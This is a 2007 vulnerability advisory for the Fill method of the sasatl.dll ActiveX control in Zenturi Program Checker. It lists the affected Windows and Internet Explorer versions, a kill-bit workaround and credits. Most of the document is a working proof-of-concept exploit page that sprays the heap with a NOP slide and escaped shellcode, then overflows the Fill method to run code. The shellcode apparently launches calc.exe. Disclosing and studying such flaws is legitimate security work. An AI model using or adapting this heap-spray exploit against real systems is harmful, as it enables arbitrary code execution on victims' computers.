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sasatldll.txt

Posted on 11 July 2007

:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:


sasatl.dll 1.5.0.531 Program Checker -  Javascript Heap Spraying Exploit
==========================================
Internal ID: VULWAR200707101.


Introduction
---------------
sasatl.dll is a library included in the Program Checker Pro software
package from the Zenturi. (http://www.programchecker.com)


Tested In
-----------
- Windows XP SP1/SP2 english/french with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0


Summary
------------
The Fill method is prone to a stack-based buffer-overflow vulnerability
because it fails to properly check boundaries.


Impact
---------
An attacker could execute arbitrary code into the remote machine.


Workaround
---------------
- Activate the Kill bit zero in
clsid:7D6B5B29-FC7E-11D1-9288-00104B885781.
- Unregister sasatl.dll using regsvr32.


Timeline
----------
July 10, 2007 -- Bug published.


Credits
---------
* callAX <callAX@shellcode.com.ar>
* GoodFellas Security Research Team <goodfellas.shellcode.com.ar>

Proof of Concept
----------------

<HTML>
<BODY>
<object id=boom
classid="clsid:{7D6B5B29-FC7E-11D1-9288-00104B885781}"></object>

<SCRIPT>

var payLoadCode=unescape(
"%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");


var spraySlide = unescape("%u9090%u9090");
var heapSprayToAddress = 0x0c0c0c0c;


function Tryme()
{
var size_buff = 900;
var x =  unescape("%0C%0C%0C%0C");
while (x.length<size_buff) x += x;
x = x.substring(0,size_buff);

boom.Fill(x);
}


function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}

var heapBlockSize = 0x400000;
var SizeOfHeapDataMoreover = 0x26;
var payLoadSize = (payLoadCode.length * 2);

var spraySlideSize = heapBlockSize - (payLoadSize +
SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

var memory = new Array();
spraySlide = getSpraySlide(spraySlide,spraySlideSize);

for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide +  payLoadCode;
}

</SCRIPT>
<input language=JavaScript onclick=Tryme() type=button value="Proof of
Concept">
</BODY>
</HTML>

 

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